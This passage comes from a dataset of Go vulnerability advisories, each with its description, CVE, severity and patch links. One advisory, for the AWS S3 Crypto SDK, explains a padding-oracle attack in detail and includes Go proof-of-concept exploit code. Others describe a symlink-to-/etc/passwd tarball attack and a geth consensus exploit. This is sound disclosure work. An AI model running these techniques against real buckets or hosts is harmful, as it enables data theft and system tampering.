* Email us at [security@containerd.io](mailto:security@containerd.io) | {'CVE-2021-43816'} | 2022-04-04T20:40:33Z | 2022-01-06T17:36:59Z | HIGH | null | {'CWE-281'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GD5GH7NMK5VJMA2Y5CYB5O5GTPYMWMLX/', 'https://github.com/containerd/containerd/security/advisories/GHSA-mvff-h3cj-wj9c', 'https://github.com/containerd/containerd/commit/a731039238c62be081eb8c31525b988415745eea', 'https://github.com/containerd/containerd', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MPDIZMI7ZPERSZE2XO265UCK5IWM7CID/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-43816', 'https://github.com/dweomer/containerd/commit/f7f08f0e34fb97392b0d382e58916d6865100299', 'https://github.com/containerd/containerd/issues/6194'} | null | {'https://github.com/containerd/containerd/commit/a731039238c62be081eb8c31525b988415745eea', 'https://github.com/dweomer/containerd/commit/f7f08f0e34fb97392b0d382e58916d6865100299'} | {'https://github.com/dweomer/containerd/commit/f7f08f0e34fb97392b0d382e58916d6865100299', 'https://github.com/containerd/containerd/commit/a731039238c62be081eb8c31525b988415745eea'} |
Go | GHSA-9cwv-cppx-mqjm | Improper Authentication in Capsule Proxy | ### Impact
Using a malicious `Connection` header, an attacker with a proper authentication mechanism could start a privilege escalation towards the Kubernetes API Server, being able to exploit the `cluster-admin` Role bound to `capsule-proxy`.
### Patches
Patch has been merged in the v0.2.1 release.
### Workarounds
Upgrading is mandatory.
| {'CVE-2022-23652'} | 2022-02-25T15:39:14Z | 2022-02-23T21:17:25Z | HIGH | null | {'CWE-287'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-23652', 'https://github.com/clastix/capsule-proxy/', 'https://github.com/clastix/capsule-proxy/commit/efe91f68ebf8a9e3d21491dc57da7b8a746415d8', 'https://github.com/clastix/capsule-proxy/security/advisories/GHSA-9cwv-cppx-mqjm', 'https://github.com/clastix/capsule-proxy/issues/188'} | null | {'https://github.com/clastix/capsule-proxy/commit/efe91f68ebf8a9e3d21491dc57da7b8a746415d8'} | {'https://github.com/clastix/capsule-proxy/commit/efe91f68ebf8a9e3d21491dc57da7b8a746415d8'} |
Go | GHSA-399h-cmvp-qgx5 | Incorrect Default Permissions in Binance tss-lib | The keygen protocol implementation in Binance tss-lib before 1.2.0 allows attackers to generate crafted h1 and h2 parameters in order to compromise a signing round or obtain sensitive information from other parties. | {'CVE-2020-12118'} | 2021-05-25T20:16:35Z | 2021-06-29T21:32:11Z | HIGH | null | {'CWE-276'} | {'https://github.com/binance-chain/tss-lib/pull/89/commits/7b7c17e90504d5dad94b938e84fec690bb1ec311', 'https://github.com/binance-chain/tss-lib/pull/89', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12118', 'https://github.com/binance-chain/tss-lib/releases/tag/v1.2.0'} | null | {'https://github.com/binance-chain/tss-lib/pull/89/commits/7b7c17e90504d5dad94b938e84fec690bb1ec311'} | {'https://github.com/binance-chain/tss-lib/pull/89/commits/7b7c17e90504d5dad94b938e84fec690bb1ec311'} |
Go | GO-2021-0105 | null | Due to an incorrect state calculation, a specific set of transactions could cause a consensus disagreement,
causing users of this package to reject a canonical chain.
| {'CVE-2020-26265'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/ethereum/go-ethereum/commit/87c0ba92136a75db0ab2aba1046d4a9860375d6a', 'https://github.com/advisories/GHSA-xw37-57qp-9mm4', 'https://github.com/ethereum/go-ethereum/pull/21080'} | null | {'https://github.com/ethereum/go-ethereum/commit/87c0ba92136a75db0ab2aba1046d4a9860375d6a'} | {'https://github.com/ethereum/go-ethereum/commit/87c0ba92136a75db0ab2aba1046d4a9860375d6a'} |
Go | GO-2021-0060 | null | Due to the behavior of encoding/xml, a crafted XML document may cause
XML Digital Signature validation to be entirely bypassed, causing an
unsigned document to appear signed.
| {'CVE-2020-29509'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/russellhaering/gosaml2/commit/42606dafba60c58c458f14f75c4c230459672ab9', 'https://github.com/russellhaering/gosaml2/security/advisories/GHSA-xhqq-x44f-9fgg'} | null | {'https://github.com/russellhaering/gosaml2/commit/42606dafba60c58c458f14f75c4c230459672ab9'} | {'https://github.com/russellhaering/gosaml2/commit/42606dafba60c58c458f14f75c4c230459672ab9'} |
Go | GHSA-5ph6-qq5x-7jwc | ExternalName Services can be used to gain access to Envoy's admin interface | ### Impact
Josh Ferrell (@josh-ferrell) from VMware has reported that a specially crafted ExternalName type Service may be used to access Envoy's admin interface, which Contour normally prevents from access outside the Envoy container. This can be used to shut down Envoy remotely (a denial of service), or to expose the existence of any Secret that Envoy is using for its configuration, including most notably TLS Keypairs. However, it *cannot* be used to get the *content* of those secrets.
Since this attack allows access to the administration interface, a variety of administration options are available, such as shutting down the Envoy or draining traffic. In general, the Envoy admin interface cannot easily be used for making changes to the cluster, in-flight requests, or backend services, but it could be used to shut down or drain Envoy, change traffic routing, or to retrieve secret metadata, as mentioned above.
### Patches
The issue will be addressed in the forthcoming Contour v1.18.0 and a patch release, v1.17.1, has been released in the meantime.
It is addressed in two ways:
- disabling ExternalName type Services by default
- When ExternalName Services are enabled, block obvious "localhost" entries.
#### Disable ExternalName type Services by default
This change prohibits processing of ExternalName services unless the cluster operator specifically allows them using the new `--enable-externalname` flag or equivalent configuration file setting. This is a breaking change for previous versions of Contour, which is unfortunate, but necessary because of the severity of the information exposed in this advisory.
#### Block obvious `localhost` entries for enabled ExternalName Services
As part of this change set, we have added a filter in the event that operators *do* enable ExternalName Services, such that obvious `localhost` entries are rejected by Contour.
There are a number of problems with this method, however:
- This is a porous control. As long as you control a domain name, it's trivially easy to add a DNS entry for any name you like that redirects to `127.0.0.1` or `::1`. Contour even provides `local.projectcontour.io` ourselves for testing and example purposes. (This name is, of course, included in the "obvious localhost entries" list.) So we can never totally stop this exploit as long as the admin interface is accessible on localhost, which, according to envoyproxy/envoy#2763, will be for some time if not forever. The best we can do is block some obvious elements, but this is always a risk for a motivated attacker.
- We've actually suggested using `localhost` ExternalName Services in the past, to allow people to connect to sidecar External Authentication services in their cluster. Both of these changes break this use-case, but given that it's about something that has security requirements high enough to require authentication, it's important to ensure that people are opting in. For the External Auth sidecar case, we are investigating an update to ExtensionService that will help with the sidecar use case.
### Workarounds
Not easily. It's not possible to control the creation of ExternalName Services with RBAC without the use of Gatekeeper or other form of admission control, and the creation of services is required for Contour to actually work for application developer personas.
### For more information
Exploit code will be published at a later date for this vulnerability, once our users have had a chance to upgrade. | {'CVE-2021-32783'} | 2021-08-30T16:53:38Z | 2021-08-30T17:22:10Z | HIGH | null | {'CWE-610'} | {'https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e', 'https://github.com/projectcontour/contour/releases/tag/v1.16.1', 'https://github.com/projectcontour/contour/security/advisories/GHSA-5ph6-qq5x-7jwc', 'https://github.com/projectcontour/contour/commit/5f3e6d0ab1d48e64bae46400c85c490b200393a3', 'https://nvd.nist.gov/vuln/detail/CVE-2021-32783', 'https://github.com/projectcontour/contour/releases/tag/v1.14.2', 'https://github.com/projectcontour/contour/releases/tag/v1.15.2', 'https://github.com/projectcontour/contour/releases/tag/v1.17.1'} | null | {'https://github.com/projectcontour/contour/commit/5f3e6d0ab1d48e64bae46400c85c490b200393a3', 'https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e'} | {'https://github.com/projectcontour/contour/commit/5f3e6d0ab1d48e64bae46400c85c490b200393a3', 'https://github.com/projectcontour/contour/commit/b53a5c4fd927f4ea2c6cf02f1359d8e28bef852e'} |
Go | GHSA-mx43-r985-5h4m | Open redirect vulnerability in Sourcegraph | ### Impact
An open redirect vulnerability that allows users to be targeted for phishing attacks has been found in Sourcegraph instances configured with OAuth, OpenID, or SAML authentication enabled. Users targeted by these phishing attacks could have their authentication tokens silently harvested by an attacker.
### Resolution
Sourcegraph v3.14.4 and v3.15.1 have been released which resolve the vulnerability. ([associated change](https://github.com/sourcegraph/sourcegraph/pull/10167))
### Workarounds
Disabling OAuth, OpenID and/or SAML sign-in options until upgraded to the patched versions will secure Sourcegraph / workaround the issue.
### Timeline
- Apr 23, 8 AM PST: GitHub Security Lab reported the issue to Sourcegraph.
- Apr 23, 11 PM PST: A Sourcegraph engineer proposed a resolution for the vulnerability. https://github.com/sourcegraph/sourcegraph/pull/10167
- Apr 24, 3 AM PST: The proposed resolution was reviewed, approved, and merged.
- Apr 28, 2 PM PST: Patch releases for 3.14.4 and 3.15.1 were published.
- Apr 29, 10 PM PST: Mitre publicly disclosed [CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283).
- Apr 30, 11 AM PST: Sourcegraph issued a GitHub security advisory and notified all affected users.
### References
- [Mitre: CVE-2020-12283](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-12283)
- [GitHub Security Lab: GHSL-2020-085](https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph)
- [detectify's blog post on open redirect vulnerabilities
](https://blog.detectify.com/2019/05/16/the-real-impact-of-an-open-redirect/)
### For more information
If you have any questions or comments about this advisory, please contact us at [support@sourcegraph.com](mailto:support@sourcegraph.com) and include `CVE-2020-12283` in the title. | {'CVE-2020-12283'} | 2021-12-09T19:40:01Z | 2021-12-20T18:12:47Z | MODERATE | null | {'CWE-601'} | {'https://github.com/sourcegraph/sourcegraph/blob/master/CHANGELOG.md', 'https://github.com/sourcegraph/sourcegraph/pull/10167', 'https://github.com/sourcegraph/sourcegraph/commit/c0f48172e815c7f66471a38f0a06d1fc32a77a64', 'https://nvd.nist.gov/vuln/detail/CVE-2020-12283', 'https://github.com/sourcegraph/sourcegraph', 'https://securitylab.github.com/advisories/GHSL-2020-085-sourcegraph', 'https://github.com/sourcegraph/sourcegraph/security/advisories/GHSA-mx43-r985-5h4m', 'https://github.com/sourcegraph/sourcegraph/compare/v3.15.0...v3.15.1'} | null | {'https://github.com/sourcegraph/sourcegraph/commit/c0f48172e815c7f66471a38f0a06d1fc32a77a64'} | {'https://github.com/sourcegraph/sourcegraph/commit/c0f48172e815c7f66471a38f0a06d1fc32a77a64'} |
Go | GHSA-g6xv-8q23-w2q3 | SQL Injection in Gogs | Multiple SQL injection vulnerabilities in Gogs (aka Go Git Service) 0.3.1-9 through 0.5.x before 0.5.6.1105 Beta allow remote attackers to execute arbitrary SQL commands via the q parameter to (1) api/v1/repos/search, which is not properly handled in models/repo.go, or (2) api/v1/users/search, which is not properly handled in models/user.go. | {'CVE-2014-8682'} | 2021-05-20T16:59:51Z | 2021-06-29T18:32:48Z | HIGH | null | {'CWE-89'} | {'http://seclists.org/fulldisclosure/2014/Nov/31', 'http://www.securityfocus.com/archive/1/533995/100/0/threaded', 'http://seclists.org/fulldisclosure/2014/Nov/33', 'https://github.com/gogits/gogs/releases/tag/v0.5.8', 'http://gogs.io/docs/intro/change_log.html', 'http://packetstormsecurity.com/files/129116/Gogs-Label-Search-Blind-SQL-Injection.html', 'http://www.exploit-db.com/exploits/35238', 'https://nvd.nist.gov/vuln/detail/CVE-2014-8682', 'https://exchange.xforce.ibmcloud.com/vulnerabilities/98694', 'http://www.securityfocus.com/bid/71187', 'https://www.exploit-db.com/exploits/35238', 'https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d', 'http://packetstormsecurity.com/files/129117/Gogs-Repository-Search-SQL-Injection.html'} | null | {'https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d'} | {'https://github.com/gogits/gogs/commit/0c5ba4573aecc9eaed669e9431a70a5d9f184b8d'} |
Go | GHSA-gh32-pc56-4c96 | Information Exposure in jaegar | Sensitive information written to a log file vulnerability was found in jaegertracing/jaeger before version 1.18.1 when the Kafka data store is used. This flaw allows an attacker with access to the container's log file to discover the Kafka credentials. | {'CVE-2020-10750'} | 2021-05-12T14:55:16Z | 2021-05-18T18:35:02Z | LOW | null | {'CWE-532', 'CWE-200'} | {'https://github.com/jaegertracing/jaeger/releases/tag/v1.18.1', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-10750', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10750', 'https://bugzilla.redhat.com/show_bug.cgi?id=1838401', 'https://github.com/jaegertracing/jaeger/commit/360c38bec3f9718ebba7ddbf0b409b05995f3ace'} | null | {'https://github.com/jaegertracing/jaeger/commit/360c38bec3f9718ebba7ddbf0b409b05995f3ace'} | {'https://github.com/jaegertracing/jaeger/commit/360c38bec3f9718ebba7ddbf0b409b05995f3ace'} |
Go | GO-2021-0076 | null | A malicious JSON patch can cause a panic due to an out-of-bounds
write attempt. This can be used as a denial of service vector if
exposed to arbitary user input.
| {'CVE-2018-14632'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/evanphx/json-patch/commit/4c9aadca8f89e349c999f04e28199e96e81aba03', 'https://github.com/evanphx/json-patch/pull/57'} | null | {'https://github.com/evanphx/json-patch/commit/4c9aadca8f89e349c999f04e28199e96e81aba03'} | {'https://github.com/evanphx/json-patch/commit/4c9aadca8f89e349c999f04e28199e96e81aba03'} |
Go | GO-2021-0099 | null | Due to improper path validation, using the github.com/deislabs/oras/pkg/content.FileStore
content store may result in directory traversal during archive extraction, allowing a
malicious archive to write paths to arbitary paths that the process can write to.
| {'CVE-2021-21272'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/deislabs/oras/commit/96cd90423303f1bb42bd043cb4c36085e6e91e8e', 'https://github.com/deislabs/oras/security/advisories/GHSA-g5v4-5x39-vwhx'} | null | {'https://github.com/deislabs/oras/commit/96cd90423303f1bb42bd043cb4c36085e6e91e8e'} | {'https://github.com/deislabs/oras/commit/96cd90423303f1bb42bd043cb4c36085e6e91e8e'} |
Go | GHSA-69v6-xc2j-r2jf | Shallow copy bug in geth | ### Impact
This is a Consensus vulnerability, which can be used to cause a chain-split where vulnerable nodes reject the canonical chain.
Geth’s pre-compiled `dataCopy` (at `0x00...04`) contract did a shallow copy on invocation. An attacker could deploy a contract that
- writes `X` to an EVM memory region `R`,
- calls `0x00..04` with `R` as an argument,
- overwrites `R` to `Y`,
- and finally invokes the `RETURNDATACOPY` opcode.
When this contract is invoked, a consensus-compliant node would push `X` on the EVM stack, whereas Geth would push `Y`.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [go-ethereum](https://github.com/ethereum/go-ethereum)
* Email us at [security@ethereum.org](mailto:security@ethereum.org) | {'CVE-2020-26241'} | 2021-05-21T21:51:49Z | 2021-06-29T21:13:01Z | MODERATE | null | {'CWE-682'} | {'https://github.com/ethereum/go-ethereum/security/advisories/GHSA-69v6-xc2j-r2jf', 'https://nvd.nist.gov/vuln/detail/CVE-2020-26241', 'https://blog.ethereum.org/2020/11/12/geth_security_release/', 'https://github.com/ethereum/go-ethereum/commit/295693759e5ded05fec0b2fb39359965b60da785'} | null | {'https://github.com/ethereum/go-ethereum/commit/295693759e5ded05fec0b2fb39359965b60da785'} | {'https://github.com/ethereum/go-ethereum/commit/295693759e5ded05fec0b2fb39359965b60da785'} |
Go | GHSA-ppj4-34rq-v8j9 | regular expression denial of service in gjson | GJSON is a Go package that provides a fast and simple way to get values from a json document. GJSON before 1.9.3 allows a ReDoS (regular expression denial of service) attack. | {'CVE-2021-42836'} | 2022-05-04T03:43:44Z | 2021-10-25T19:43:15Z | HIGH | null | {'CWE-1333', 'CWE-400', 'CWE-697'} | {'https://github.com/tidwall/gjson/commit/77a57fda87dca6d0d7d4627d512a630f89a91c96', 'https://github.com/tidwall/gjson/commit/590010fdac311cc8990ef5c97448d4fec8f29944', 'https://github.com/tidwall/gjson/issues/236', 'https://github.com/tidwall/gjson/issues/237', 'https://github.com/tidwall/gjson/compare/v1.9.2...v1.9.3', 'https://nvd.nist.gov/vuln/detail/CVE-2021-42836', 'https://github.com/tidwall/gjson'} | null | {'https://github.com/tidwall/gjson/commit/590010fdac311cc8990ef5c97448d4fec8f29944', 'https://github.com/tidwall/gjson/commit/77a57fda87dca6d0d7d4627d512a630f89a91c96'} | {'https://github.com/tidwall/gjson/commit/77a57fda87dca6d0d7d4627d512a630f89a91c96', 'https://github.com/tidwall/gjson/commit/590010fdac311cc8990ef5c97448d4fec8f29944'} |
Go | GHSA-28r6-jm5h-mrgg | Access control bypass in Beego | An issue was discovered in the route lookup process in beego through 2.0.1, allows attackers to bypass access control. | {'CVE-2021-30080'} | 2022-04-07T18:13:46Z | 2022-04-06T00:01:30Z | HIGH | null | null | {'https://nvd.nist.gov/vuln/detail/CVE-2021-30080', 'https://github.com/beego/beego/commit/d5df5e470d0a8ed291930ae802fd7e6b95226519', 'https://github.com/beego/beego'} | null | {'https://github.com/beego/beego/commit/d5df5e470d0a8ed291930ae802fd7e6b95226519'} | {'https://github.com/beego/beego/commit/d5df5e470d0a8ed291930ae802fd7e6b95226519'} |
Go | GHSA-9jcx-pr2f-qvq5 | Denial of Service (DoS) | An issue was discovered in setTA in scan_rr.go in the Miek Gieben DNS library before 1.0.10 for Go. A dns.ParseZone() parsing error causes a segmentation violation, leading to denial of service. | {'CVE-2018-17419'} | 2021-05-11T00:44:23Z | 2021-05-18T18:34:25Z | HIGH | null | {'CWE-400'} | {'https://github.com/miekg/dns/commit/501e858f679edecd4a38a86317ce50271014a80d', 'https://nvd.nist.gov/vuln/detail/CVE-2018-17419', 'https://github.com/miekg/dns/issues/742'} | null | {'https://github.com/miekg/dns/commit/501e858f679edecd4a38a86317ce50271014a80d'} | {'https://github.com/miekg/dns/commit/501e858f679edecd4a38a86317ce50271014a80d'} |
Go | GO-2020-0011 | null | When decrypting JsonWebEncryption objects with multiple recipients
or JsonWebSignature objects with multiple signatures the Decrypt
and Verify methods do not indicate which recipient or signature was
valid. This may lead a caller to rely on protected headers from an
invalid recipient or signature.
| {'CVE-2016-9122'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6', 'https://www.openwall.com/lists/oss-security/2016/11/03/1'} | null | {'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6'} | {'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6'} |
Go | GHSA-7f33-f4f5-xwgw | In-band key negotiation issue in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the GCM option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK does not authenticate the algorithm parameters for the data encryption key.
An attacker with write access to the bucket can use this in order to change the encryption algorithm of an object in the bucket, which can lead to problems depending on the supported algorithms. For example, a switch from AES-GCM to AES-CTR in combination with a decryption oracle can reveal the authentication key used by AES-GCM as decrypting the GMAC tag leaves the authentication key recoverable as an algebraic equation.
By default, the only available algorithms in the SDK are AES-GCM and AES-CBC. Switching the algorithm from AES-GCM to AES-CBC can be used as way to reconstruct the plaintext through an oracle endpoint revealing decryption failures, by brute forcing 16 byte chunks of the plaintext. Note that the plaintext needs to have some known structure for this to work, as a uniform random 16 byte string would be the same as a 128 bit encryption key, which is considered cryptographically safe.
The attack works by taking a 16 byte AES-GCM encrypted block guessing 16 bytes of plaintext, constructing forgery that pretends to be PKCS5 padded AES-CBC, using the ciphertext and the plaintext guess and that will decrypt to a valid message if the guess was correct.
To understand this attack, we have to take a closer look at both AES-GCM and AES-CBC:
AES-GCM encrypts using a variant of CTR mode, i.e. `C_i = AES-Enc(CB_i) ^ M_i`. AES-CBC on the other hand *decrypts* via `M_i = AES-Dec(C_i) ^ C_{i-1}`, where `C_{-1} = IV`. The padding oracle can tell us if, after switching to CBC mode, the plaintext recovered is padded with a valid PKCS5 padding.
Since `AES-Dec(C_i ^ M_i) = CB_i`, if we set `IV' = CB_i ^ 0x10*[16]`, where `0x10*[16]` is the byte `0x10` repeated 16 times, and `C_0' = C_i ^ M_i'` the resulting one block message `(IV', C_0')` will have valid PKCS5 padding if our guess `M_i'` for `M_i` was correct, since the decrypted message consists of 16 bytes of value `0x10`, the PKCS5 padded empty string.
Note however, that an incorrect guess might also result in a valid padding, if the AES decryption result randomly happens to end in `0x01`, `0x0202`, or a longer valid padding. In order to ensure that the guess was indeed correct, a second check using `IV'' = IV' ^ (0x00*[15] || 0x11)` with the same ciphertext block has to be performed. This will decrypt to 15 bytes of value `0x10` and one byte of value `0x01` if our initial guess was correct, producing a valid padding. On an incorrect guess, this second ciphertext forgery will have an invalid padding with a probability of 1:2^128, as one can easily see.
This issue is fixed in V2 of the API, by using the `KMS+context` key wrapping scheme for new files, authenticating the algorithm. Old files encrypted with the `KMS` key wrapping scheme remain vulnerable until they are reencrypted with the new scheme.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with GCM mode and use the `KMS` key wrapping option.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [combined_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/combined_oracle_exploit.go):
```golang
func CombinedOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/GCM/NoPadding" {
return "", fmt.Errorf("Algorithm is %q, not GCM!", alg)
}
gcmIv, err := base64.StdEncoding.DecodeString(header.Get("X-Amz-Meta-X-Amz-Iv"))
if len(gcmIv) != 12 {
return "", fmt.Errorf("GCM IV is %d bytes, not 12", len(gcmIv))
}
fullIv := make([]byte, 16)
confirmIv := make([]byte, 16)
for i := 0; i < 12; i++ {
fullIv[i] = gcmIv[i] ^ 0x10
confirmIv[i] = gcmIv[i] ^ 0x10
}
// Set i to the block we want to attempt to decrypt
counter := i + 2
for j := 15; j >= 12; j-- {
v := byte(counter % 256)
fullIv[j] = 0x10 ^ v
confirmIv[j] = 0x10 ^ v
counter /= 256
}
confirmIv[15] ^= 0x11
fullIvEnc := base64.StdEncoding.EncodeToString(fullIv)
confirmIvEnc := base64.StdEncoding.EncodeToString(confirmIv)
success := false
// Set plaintextGuess to the guess for the plaintext of this block
newData := []byte(plaintextGuess)
for j := 0; j < 16; j++ {
newData[j] ^= data[16*i+j]
}
newHeader := header.Clone()
newHeader.Set("X-Amz-Meta-X-Amz-Cek-Alg", "AES/CBC/PKCS5Padding")
newHeader.Set("X-Amz-Meta-X-Amz-Iv", fullIvEnc)
newHeader.Set("X-Amz-Meta-X-Amz-Unencrypted-Content-Length", "16")
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
newHeader.Set("X-Amz-Meta-X-Amz-Iv", confirmIvEnc)
input.S3Mock.PutObjectDirect(bucket, key+"guess", newData, newHeader)
if input.Oracle(bucket, key+"guess") {
return plaintextGuess, nil
}
}
return "", fmt.Errorf("Block %d could not be decrypted", i)
}
``` | {'CVE-2020-8912'} | 2021-05-24T18:08:44Z | 2022-02-11T23:23:13Z | LOW | null | {'CWE-327'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8912', 'https://github.com/aws/aws-sdk-go/pull/3403', 'https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc', 'https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09', 'https://bugzilla.redhat.com/show_bug.cgi?id=1869801', 'https://github.com/google/security-research/security/advisories/GHSA-7f33-f4f5-xwgw', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} | null | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} |
Go | GHSA-6cp7-g972-w9m9 | Use of a Key Past its Expiration Date and Insufficient Session Expiration in Maddy Mail Server | ### Impact
Any configuration on any maddy version <0.5.4 using auth.pam is affected.
No password expiry or account expiry checking is done when authenticating using PAM.
### Patches
Patch is available as part of the 0.5.4 release.
### Workarounds
If /etc/shadow authentication is used, it is possible to replace auth.pam with auth.shadow which is not affected.
It is possible to blacklist expired accounts via existing filtering mechanisms (e.g. auth_map to invalid accounts in storage.imapsql).
### References
* https://github.com/foxcpp/maddy/blob/3412e59a2c92106e194fa69f2f1017c020037c9c/internal/auth/pam/pam.c
* https://linux.die.net/man/3/pam_acct_mgmt
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/foxcpp/maddy
* Email fox.cpp@disroot.org
| {'CVE-2022-24732'} | 2022-03-18T20:12:30Z | 2022-03-07T16:59:31Z | MODERATE | null | {'CWE-324', 'CWE-613'} | {'https://github.com/foxcpp/maddy/commit/7ee6a39c6a1939b376545f030a5efd6f90913583', 'https://github.com/foxcpp/maddy/releases/tag/v0.5.4', 'https://github.com/foxcpp/maddy', 'https://github.com/foxcpp/maddy/security/advisories/GHSA-6cp7-g972-w9m9', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24732'} | null | {'https://github.com/foxcpp/maddy/commit/7ee6a39c6a1939b376545f030a5efd6f90913583'} | {'https://github.com/foxcpp/maddy/commit/7ee6a39c6a1939b376545f030a5efd6f90913583'} |
Go | GO-2021-0109 | null | Due to improper error handling, an error with the underlying token storage may cause a user
to believe a token has been successfully revoked when it is in fact still valid. An attackers
ability to exploit this relies on an ability to trigger errors in the underlying storage.
| {'CVE-2020-15223'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/ory/fosite/commit/03dd55813f5521985f7dd64277b7ba0cf1441319', 'https://github.com/advisories/GHSA-7mqr-2v3q-v2wm'} | null | {'https://github.com/ory/fosite/commit/03dd55813f5521985f7dd64277b7ba0cf1441319'} | {'https://github.com/ory/fosite/commit/03dd55813f5521985f7dd64277b7ba0cf1441319'} |
Go | GO-2020-0007 | null | Filters containing rules with multiple syscall arguments are improperly
constructed, such that all arguments are required to match rather than
any of the arguments (AND is used rather than OR). These filters can be
bypassed by only specifying a subset of the arguments due to this
behavior.
| {'CVE-2017-18367'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e'} | null | {'https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e'} | {'https://github.com/seccomp/libseccomp-golang/commit/06e7a29f36a34b8cf419aeb87b979ee508e58f9e'} |
Go | GHSA-47wr-426j-fr82 | Symbolic links in an unpacking routine may enable attackers to read and/or write to arbitrary locations in dbdeployer | ### Impact
_Users unpacking a tarball through dbdeployer may use a maliciously packaged tarball that contains symlinks to files external to the target. In such scenario, an attacker could induce dbdeployer to write into a system file, thus altering the computer defences._
### Mitigating factors
For the attach to succeed, the following factors need to contribute:
* The user is logged in as root. While dbdeployer is usable as root, it was designed to run as unprivileged user.
* The user has taken a tarball from a non secure source, without testing the checksum. When the tarball is retrieved through dbdeployer, the checksum is compared before attempting to unpack.
### Analysis
An attacker could inject a symbolic link into the tarball, so that a file could result into `fake_file -> /etc/passwd` or some equally important file.
As it is now, dbdeployer would create the symlink as defined, with a local file `fake_file` linked to `/etc/passwd`. The danger here is that any process with the privileges to write to both `fake_file` and `/etc/passwd` could overwrite the system file. Even without malicious intent, this could result in the system to become unusable.
As noted above, the user must have write privileges to the target file to do the damage.
### Remedies
It has been suggested that the extract procedure use `filepath.EvalSymlinks` to determine whether the target is within the extraction directory. Unfortunately, this approach is unavailable in this context, because it would prevent legitimate patterns from being carried out.
A simple case is a file `mysql-8.0.22-macos10.15-x86_64/bin/libprotobuf-lite.3.11.4.dylib` with a linkName `../lib/libprotobuf-lite.3.11.4.dylib`, if the linked file has not been created yet, `filepath.EvalSymlinks` would fail, as it acts on existing files only.
An alternative method is comparing the depth (how many directories) of the file name with the depth of the link name. If the link name has a higher depth than the local file, we block the operation with an appropriate error:
```
Unpacking tarball exploit/mysql-8.0.22-macos10.15-x86_64.tar.gz to $HOME/opt/mysql/test8.0.22
......
link '../../../../../../../../../../etc' points outside target directory
exit status 1
```
As an additional fortifier, we can check whether the link points to an existing file, calculate its absolute name, and compare it with the absolute name of the extraction directory. A link to a full path (such as `/etc/passwd`) would fail this test, and trigger an error.
The same check can be applied to a link to a non existing file with absolute path.
### Patches
Patched in release 1.58.2
### For more information
If you have any questions or comments about this advisory:
